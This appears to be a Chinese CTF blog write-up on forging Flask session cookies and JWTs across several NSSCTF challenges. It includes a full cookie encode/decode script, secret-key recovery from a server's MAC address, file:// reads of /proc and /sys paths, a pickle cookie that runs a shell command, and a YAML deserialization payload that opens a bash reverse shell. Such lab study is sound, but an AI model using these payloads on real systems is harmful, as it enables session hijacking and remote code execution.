cookie伪造类


概念和使用简介

首先,我也是在这个pyjail的学习中慢慢加深了对这个session的理解
首先,我们可以去抓一个地方的包试试
很多时候能抓到一个

1
Cookie:session=gASVKwAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjBBjYXQgL2ZsYWc+L3Rlc3QylIWUUpQu

类似这样的东西
就像是一个凭证,让系统知道你是谁,你的身份等等。很多时候是经过一定的加密手段进行处理的
比如使用到的pyjail,还有JWT等等

pyjail

之前的博客有提及了,这里会再深入一点

JWT

JSON Web Token(JSON Web 令牌)是一种跨域验证身份的方案。JWT 不加密传输的数据,但能够通 过数字签名来验证数据未被篡改
JWT 分为三部分,头部(Header),声明(Claims),签名(Signature),三个部分以英文句号.隔开。 JWT 的内容以 Base64URL 进行了编码。
比如会用某些签名算法,例如HS256(HMAC + SHA-256),很多时候我们需要破解密钥来构造攻击代码

小总结

还有很多很多,我的理解目前来说肯定是远远不够的,我们来一道一道题目再慢慢看
多记录几个算法,脚本,用法等等

newstarctf 2024 pangbai过家家

这个是我最早接触到的这类题目了
这里只讲关卡n的jwt的拿一关
这里我们主要是选择了这个jwt.io这个网址来打的。但是很多比赛时不允许连接网络的,我们这里选择下载到了本地的这个cyberchef来
我们这里是可以选择cyberchef来实现一个简单的构造的
首先我们要知道jwt的构成。拿下一关的session来说明(因为pangbai过家家的环境真的是复现不了了,我们这里选择使用下面这道题目的)

1
eyJuYW1lIjoiL2ZsYWcifQ.aHYrlw.djGcGvalrdRfPImLi8C4DrRGS1o

先进行一次base64解码

1
{"name":"/flag"}..b¹pv1..ö¥.Ô_<...À¸.´FKZ

前面的就是我们要改的东西了,这个直接就复制过来
然后在cyberchef里面选择加密的算法和密钥
就可以达到构造我们作用了,就将level6改为0就可以了
下面是jwt.io

这个图片是勇师傅的,大家可以关注一下

1
https://myon6.blog.csdn.net/?type=blog

下面这个是我们cyberchef的做法

[LitCTF 2023]Flag点击就送!

1分
Cookie伪造FlaskEjs
题目描述

大型Flag赠送活动开始啦,不过只有管理员才能拿到
Flag形式 NSSCTF{}
出题人 J1an
一进去有一个输入框,一看就是input的

1
欢迎参加LitCTF,告诉我你的名字吧

剩下的什么也没有,我们来目录扫描

1
2
/flag
/hello

上面的没有什么用
然后随便输入一个名字,再接下来就是我们要点击拿flag的部分了

1
2
3
4
5
6
7
8
9
10
11
GET /flag HTTP/1.1
Host: node4.anna.nssctf.cn:28956
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://node4.anna.nssctf.cn:28956/hello
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: session=eyJuYW1lIjoiL2ZsYWcifQ.aHYrlw.djGcGvalrdRfPImLi8C4DrRGS1o
Connection: close

这一步抓包,他们应该就是通过这个cookie来得知我们是不是管理员权限
这道题目是比较简单的
我们也可以借助看这道题目的框架来帮我们解决问题,是一个flask的架构
flask架构的session是储存在客户端的,那么就需要解决session是否会被恶意篡改的问题。而flask通过一个密钥对数据进行签名来防止session被篡改的
每个人的脚本名称和存放位置不一样,记得更改
我们测试Litctf来试一下

1
2
3
4
┌──(root㉿kali)-[~]
└─# python session.py encode -s 'LitCTF' -t '{"name":"admin"}'
eyJuYW1lIjoiYWRtaW4ifQ.aHY7Ag.F9I9uiRDbwJct2Yd2FWdf-NmtA8

我把cyberchef上面的都试了一下,是不可以的(应该是python的签名算法和很多其他的常规的算法是不一样的)
最后放行拿到flag
附上脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
#!/usr/bin/env python3
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'

# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast

# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
from abc import ABCMeta, abstractmethod
else: # > 3.4
from abc import ABC, abstractmethod

# Lib for argument parsing
import argparse

# external Imports
from flask.sessions import SecureCookieSessionInterface

class MockApp(object):

def __init__(self, secret_key):
self.secret_key = secret_key


if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
class FSCM(metaclass=ABCMeta):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)

session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)

return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e


def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if(secret_key==None):
compressed = False
payload = session_cookie_value

if payload.startswith('.'):
compressed = True
payload = payload[1:]

data = payload.split(".")[0]

data = base64_decode(data)
if compressed:
data = zlib.decompress(data)

return data
else:
app = MockApp(secret_key)

si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)

return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
else: # > 3.4
class FSCM(ABC):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)

session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)

return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e


def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if(secret_key==None):
compressed = False
payload = session_cookie_value

if payload.startswith('.'):
compressed = True
payload = payload[1:]

data = payload.split(".")[0]

data = base64_decode(data)
if compressed:
data = zlib.decompress(data)

return data
else:
app = MockApp(secret_key)

si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)

return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e


if __name__ == "__main__":
# Args are only relevant for __main__ usage

## Description for help
parser = argparse.ArgumentParser(
description='Flask Session Cookie Decoder/Encoder',
epilog="Author : Wilson Sumanang, Alexandre ZANNI")

## prepare sub commands
subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')

## create the parser for the encode command
parser_encode = subparsers.add_parser('encode', help='encode')
parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=True)
parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
help='Session cookie structure', required=True)

## create the parser for the decode command
parser_decode = subparsers.add_parser('decode', help='decode')
parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=False)
parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
help='Session cookie value', required=True)

## get args
args = parser.parse_args()

## find the option chosen
if(args.subcommand == 'encode'):
if(args.secret_key is not None and args.cookie_structure is not None):
print(FSCM.encode(args.secret_key, args.cookie_structure))
elif(args.subcommand == 'decode'):
if(args.secret_key is not None and args.cookie_value is not None):
print(FSCM.decode(args.cookie_value,args.secret_key))
elif(args.cookie_value is not None):
print(FSCM.decode(args.cookie_value))


[HDCTF 2023]YamiYami

1分
反序列化PythonCookie伪造
题目描述

I wanna eat some yummy food :(
can you give me some?
一进去

1
2
3
Welcome to HDCTF2023 Read somethings
Here is the challenge Upload file
Enjoy it pwd

这三行点进去分别对应了三个链接

1
2
3
http://node4.anna.nssctf.cn:28927/read?url=https://baidu.com
http://node4.anna.nssctf.cn:28927/upload
http://node4.anna.nssctf.cn:28927/pwd

第一个进去是一个百度页面
第二个是文件上传页面
第三个是显示一个/app
这个第一个一看就很像那很可以任意文件读取的漏洞
非预期直接读环境变量

1
http://node4.anna.nssctf.cn:28927/read?url=file:///proc/1/environ

要是预期解的话,思路只能是先试试能不能读取一些有用的文件,肯定不能上来就文件上传
但是剩下的思路也不太好想到,这里我们看wp的。我们肯定是要读文件,又告诉你了/app,那么读app/app.py也是合理的了
但是这里直接读是不可以的
这里选择在hackbar对其进行两次url编码,这里可能就需要一点经验之类的了

1
/read?url=file:///app/app.py

选择app/app.py并且选择all字符都编码(不止局限于空格符号等等了)
读到了我们的文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
#encoding:utf-8
import os
import re, random, uuid
from flask import *
from werkzeug.utils import *
import yaml
from urllib.request import urlopen
app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = False
BLACK_LIST=["yaml","YAML","YML","yml","yamiyami"]
app.config['UPLOAD_FOLDER']="/app/uploads"

@app.route('/')
def index():
session['passport'] = 'YamiYami'
return '''
Welcome to HDCTF2023 <a href="/read?url=https://baidu.com">Read somethings</a>
<br>
Here is the challenge <a href="/upload">Upload file</a>
<br>
Enjoy it <a href="/pwd">pwd</a>
'''
@app.route('/pwd')
def pwd():
return str(pwdpath)
@app.route('/read')
def read():
try:
url = request.args.get('url')
m = re.findall('app.*', url, re.IGNORECASE)
n = re.findall('flag', url, re.IGNORECASE)
if m:
return "re.findall('app.*', url, re.IGNORECASE)"
if n:
return "re.findall('flag', url, re.IGNORECASE)"
res = urlopen(url)
return res.read()
except Exception as ex:
print(str(ex))
return 'no response'

def allowed_file(filename):
for blackstr in BLACK_LIST:
if blackstr in filename:
return False
return True
@app.route('/upload', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
if 'file' not in request.files:
flash('No file part')
return redirect(request.url)
file = request.files['file']
if file.filename == '':
return "Empty file"
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
if not os.path.exists('./uploads/'):
os.makedirs('./uploads/')
file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
return "upload successfully!"
return render_template("index.html")
@app.route('/boogipop')
def load():
if session.get("passport")=="Welcome To HDCTF2023":
LoadedFile=request.args.get("file")
if not os.path.exists(LoadedFile):
return "file not exists"
with open(LoadedFile) as f:
yaml.full_load(f)
f.close()
return "van you see"
else:
return "No Auth bro"
if __name__=='__main__':
pwdpath = os.popen("pwd").read()
app.run(
debug=False,
host="0.0.0.0"
)
print(app.config['SECRET_KEY'])

这里是一段py代码
需要做的事情就两件,因为提示在/boogipop做坏事
那就需要伪造session,yaml反序列化
前提知识:
在 python 中使用 uuid 模块生成 UUID(通用唯一识别码)。可以使用 uuid.getnode()
方法来获取计算机的硬件地址,这个地址将作为 UUID 的一部分。
那么/sys/class/net/eth0/address,这个就是网卡的位置,读取他进行伪造即可。
具体方法如下,先用file协议读取网卡mac地址,再利用脚本进行解密、修改和加密

1
?url=file:///sys/class/net/eth0/address

读到

1
02:42:ac:02:56:c9 

使用我们的脚本就可以读到key

1
2
3
4
5
6
7
8
#02:42:ac:02:45:95
import random
random.seed(0x0242ac024595)
print (str(random.random()*233))
#134.93839228759927 #secret_key
#python main.py decode -s 231.28194338656192 -c "eyJwYXNzcG9ydCI6IllhbWlZYW1pIn
0.ZETklg.pEPhZ5o8PxJOT7pLSFqlhNV28EQ" #解密
#python session.py encode -s 134.93839228759927 -t "{'passport':'Welcome To HDCTF2023'}" #加密

{‘passport’: ‘Welcome To HDCTF
2023’}这个是代码告诉你的了
231.28194338656192是我们生成的key
结果

1
2
3
─# python session.py encode -s 176.89627685622764 -t "{'passport':'Welcome To HDCTF2023'}"
eyJwYXNzcG9ydCI6IldlbGNvbWUgVG8gSERDVEYyMDIzIn0.aHZMog.KeB2VJ9lVXmW0itBKdbnuv21B54

第二步就是反弹shell,这里需要用到我们的这个yaml反序列化知识。这个我是真的不知道
后面再遇见的话,再出一个专题好好做一下
这里就按着wp抄

1
2
3
4
5
6
7
8
9
- !!python/object/new:str
args: []
state: !!python/tuple
- "__import__('os').system('bash -c \"bash -i >& /dev/tcp/ip/29964 0>&1\"')"
- !!python/object/new:staticmethod
args: [0]
state:
update: !!python/name:exec

命名为1.txt上传
然后我们开始监听
再访问/boogipop?file=uploads/1.txt
发现不行
这里访问的时候我们选择抓包,改我们的cookie
这里还有一个小的要注意的地方,就是我们的这个直接访问的话

1
http://node4.anna.nssctf.cn:28927/boogipop?file=uploads/1.txt

一开始是不带cookie的,我们先访问一下其他的页面等等
但是还是没有出
这个我没有出
多半是环境有问题,我应该是没有问题的
你看,别人在bp这一步抓的包

还有别人f12看到的

但是我的请求的永远的要比他们少一个参数,我手写也不可以

可以对比第一张和第三长图
我去反复检查了下自己的错误,应该是没有问题的
具体再看我后面的一篇博客,解决了这个问题

[NSSRound#13 Basic]flask?jwt?

1分
Cookie伪造FlaskPython
这里要做的信息搜集不只是扫一下目录,当然,这个是ctf赛题,还是很需要考我们的像脑筋急转弯了
我们在找回密码页面

1
<!-- secretkey: th3f1askisfunny -->

这个告诉你flask了,感觉就很接近我们的思路了
原本我是想着能不能爆破出来密码什么的,我去注册账号的时候,发现admin被注册了
这里就不能选择使用我们的cyberchef了

1
https://github.com/noraj/flask-session-cookie-manager/tree/master

这里是我们的一个开源项目
使用的方法其实和我们之前在kail里面的一样
encode

1
2
$ python{2,3} flask_session_cookie_manager{2,3}.py encode -s '.{y]tR&sp&77RdO~u3@XAh#TalD@Oh~yOF_51H(QV};K|ghT^d' -t '{"number":"326410031505","username":"admin"}'
eyJudW1iZXIiOnsiIGIiOiJNekkyTkRFd01ETXhOVEExIn0sInVzZXJuYW1lIjp7IiBiIjoiWVdSdGFXND0ifX0.DE2iRA.ig5KSlnmsDH4uhDpmsFRPupB5Vw

decode,with secret key

1
2
$ python{2,3} flask_session_cookie_manager{2,3}.py decode -c 'eyJudW1iZXIiOnsiIGIiOiJNekkyTkRFd01ETXhOVEExIn0sInVzZXJuYW1lIjp7IiBiIjoiWVdSdGFXND0ifX0.DE2iRA.ig5KSlnmsDH4uhDpmsFRPupB5Vw' -s '.{y]tR&sp&77RdO~u3@XAh#TalD@Oh~yOF_51H(QV};K|ghT^d'
{u'username': 'admin', u'number': '326410031505'}

without secret key

1
2
$ python{2,3} flask_session_cookie_manager{2,3}.py decode -c 'eyJudW1iZXIiOnsiIGIiOiJNekkyTkRFd01ETXhOVEExIn0sInVzZXJuYW1lIjp7IiBiIjoiWVdSdGFXND0ifX0.DE2iRA.ig5KSlnmsDH4uhDpmsFRPupB5Vw'
{"number":{" b":"MzI2NDEwMDMxNTA1"},"username":{" b":"YWRtaW4="}}

这里我们已经得到密钥了

1
python3 session.py decode -c '.eJwlzjsSwjAMANG7uKaQZVmWc5mM9RtoE1Ix3B0Gmq22eK-y5xHnvWzP44pb2R9ettJSciqAGfUUSmInDhrBBq0PdGxsKxU99Bu0TK0NGmlXNDeACTCG_fbqzBwT05blrLkmylKpJmkmbUo3jxZkjqS8JAjKF3Kdcfw1WN4fJdowsQ.aHdfsg.IxgAGLY3JBHdV5mrjewumk1AGQo' -s 'th3f1askisfunny'

得到

1
2
3
4
──(root㉿kali)-[~]
└─# python3 session.py decode -c '.eJwlzjsSwjAMANG7uKaQZVmWc5mM9RtoE1Ix3B0Gmq22eK-y5xHnvWzP44pb2R9ettJSciqAGfUUSmInDhrBBq0PdGxsKxU99Bu0TK0NGmlXNDeACTCG_fbqzBwT05blrLkmylKpJmkmbUo3jxZkjqS8JAjKF3Kdcfw1WN4fJdowsQ.aHdfsg.IxgAGLY3JBHdV5mrjewumk1AGQo' -s 'th3f1askisfunny'
{'_fresh': True, '_id': '3f8f9b00cc45f84f46d46e47e6c03572d236cafb2debb2d2cffb13034b5b2cdc0090077c6c0351d666e92fcacf91fa928ab81c8fcc83985cde3e4cd24b6a8e40', '_user_id': '2'}

我们这里把2改为1

1
{'_fresh': True, '_id': '3f8f9b00cc45f84f46d46e47e6c03572d236cafb2debb2d2cffb13034b5b2cdc0090077c6c0351d666e92fcacf91fa928ab81c8fcc83985cde3e4cd24b6a8e40', '_user_id': '1'}
1
python3 session.py encode -s 'th3f1askisfunny' -t "{'_fresh': True, '_id': '3f8f9b00cc45f84f46d46e47e6c03572d236cafb2debb2d2cffb13034b5b2cdc0090077c6c0351d666e92fcacf91fa928ab81c8fcc83985cde3e4cd24b6a8e40', '_user_id': '1'}"

这个思路还是很简单的,一下子就出来flag了

[CISCN 2019华东南]Web4

88分
Cookie伪造FlaskPython
一进来,有一个任意文件读写的页面

1
http://node4.anna.nssctf.cn:28942/read?url=https://baidu.com

这里我们读取/etc/passwd,发现存在读取漏洞
我们可以尝试读取/proc/self/cmdline读取当前进程对应的终端命令

1
2
http://node4.anna.nssctf.cn:28942/read?url=/proc/self/cmdline
/usr/local/bin/python/app/app.py

然后我们读取app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
# encoding:utf-8
import re, random, uuid, urllib
from flask import Flask, session, request

app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = True

@app.route('/')
def index():
session['username'] = 'www-data'
return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>'

@app.route('/read')
def read():
try:
url = request.args.get('url')
m = re.findall('^file.*', url, re.IGNORECASE)
n = re.findall('flag', url, re.IGNORECASE)
if m or n:
return 'No Hack'
res = urllib.urlopen(url)
return res.read()
except Exception as ex:
print str(ex)
return 'no response'

@app.route('/flag')
def flag():
if session and session['username'] == 'fuck':
return open('/flag.txt').read()
else:
return 'Access denied'

if __name__=='__main__':
app.run(
debug=True,
host="0.0.0.0"
)

主要就是要我们伪造session的username从www-data到fuck
这里又和前面的题目很像了,我们可以读取服务器的mac地址

1
2
http://node4.anna.nssctf.cn:28942/read?url=/sys/class/net/eth0/address
02:42:ac:02:58:6e

然后我们可以利用脚本计算出scret_key

1
2
3
4
5
6
7
import random

mac = "02:42:ac:02:41:40"
mac = int(mac.replace(":", ""), 16)
random.seed(mac)
randStr = str(random.random()*233)
print(randStr)

这个脚本比上面的脚本要方便一点
这里可能就是说,我们需要解密先一下,当然,这里的比较简单,是那种,前面一段可以直接找到是什么的,然后我们进行加密

1
2
python2 session2.py encode -s 67.3129965665562 -t "
{'username':b'fuck'}"

这个是复现不了了,抓包还是一样,后面少了一个参数。最后我们发现,是要用到python2的环境来可以的
我们把上面的指令换成2再来试试
但是我在运行这个py2的文件的时候,发现报错说什么的
这里我们更换了脚本,将上面所提到的py2的脚本放入了kail
可能很多人的kail的运行安装这个脚本都是有问题的
但是和之间pyckle一样,还是有问题。前面的都是没有什么大的问题的,但是有一个小的问题
后面终于找到了

生成key的时候环境和session都是要py2的环境

之前我们的这个生成session改为py2的环境了
但是生成key的时候也要py2的环境
我们将脚本放入kail命名为key.py

1
python2 key.py

发现生成。再运行

1
2
python2 session2.py encode -s 67.3129965666 -t "
{'username':b'fuck'}"

最后把得到的

1
eyJ1c2VybmFtZSI6eyIgYiI6IlpuVmphdz09In19.aHd_uQ.Px6pGHDFovaJBtUpwWUth3fmD-M

放入session,再访问/flag
最后就出flag了

[NSSRound#13 Basic]flask?jwt?(hard)

146分
Cookie伪造FlaskPython
和之前的拿到题目基本是一样的,不一样的地方是我们这次不能直接访问找回密码的地方来拿到flag了
我们这里先注册账号、登陆进去
发现有我们的这个点击拿到flag的页面,这里我们就可以知道多半是伪造session的这么一个页面了
这里使用ctrl+u得到网页源代码

1
2
3
4
5
   你好 ,1
<a href="/getFlag"> <br>
<button>拿 flag</button></a>
<!-- 我der密钥去哪里了,哦!源来氏被 /wor 藏起来了 -->

访问/wor,得到

1
哼,我不会告诉你我藏哪里了,但是不能什么都不跟你说吧?哎,告诉你上次的登录时间吧: 2025-07-16 10:41:51+00:00

接下来的思路又是第一次见了
我们找到session的部分,随便删掉几个,就会报错
接下来就是像ssti输入pin码的这个地方了
然后这里面就可以找到key

1
hardgam3_C0u1d_u_f1ndM3????

之前我们可以注意到,是要访问/getFlag才能拿到flag的
最后就用py3的解密,然后再修改,拿到flag

1
python3 session3.py decode -c '.eJwljjuKAzEQBa8iOnbQarU0ki6wsLCZwaGR-sMadpOxJzK-u8d2UvCKF9Qdzr7a9Rf6bd3sAOeLQofk1dtEFOHslZ2LcjFerAimvJBSKjJ8ktrcQeI-Y8LEM08SFcSGuCzyvkctpVgjlyHeoo9GdcwapbpITa1mUUvGosSzjGqMsIdsV1s_NbTP2-XfoN8hvMTJ9BBiCd_bXyCkHCL2nDpx-Po5wuPxBPFiPBo.aHeEpA.JRbUMOZoVbV2YvCQHy3V-3j2AHw' -s 'hardgam3_C0u1d_u_f1ndM3????'

result

1
2
{'_fresh': True, '_id': '3f8f9b00cc45f84f46d46e47e6c03572d236cafb2debb2d2cffb13034b5b2cdc0090077c6c0351d666e92fcacf91fa928ab81c8fcc83985cde3e4cd24b6a8e40', '_user_id': '2', 'time': datetime.datetime(2025, 7, 16, 10, 53, 24, tzinfo=datetime.timezone.utc)}

id改为2就可以拿到flag了

1
python3 session3.py encode -s 'hardgam3_C0u1d_u_f1ndM3????' -t "{'_fresh': True, '_id': '3f8f9b00cc45f84f46d46e47e6c03572d236cafb2debb2d2cffb13034b5b2cdc0090077c6c0351d666e92fcacf91fa928ab81c8fcc83985cde3e4cd24b6a8e40', '_user_id': '1', 'time': 'datetime.datetime(2025, 7, 16, 10, 53, 24, tzinfo=datetime.timezone.utc)'}"

没试过,好像不要后面的time也可以
但是,注意这里不一样的地方就是我们的这个time这里,之前是没有的,我运行的时候报错了
这里我们给这个time后面的值加上单引号就可以了
最后拿到flag


文章作者: wuk0Ng
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 wuk0Ng !
评论
  目录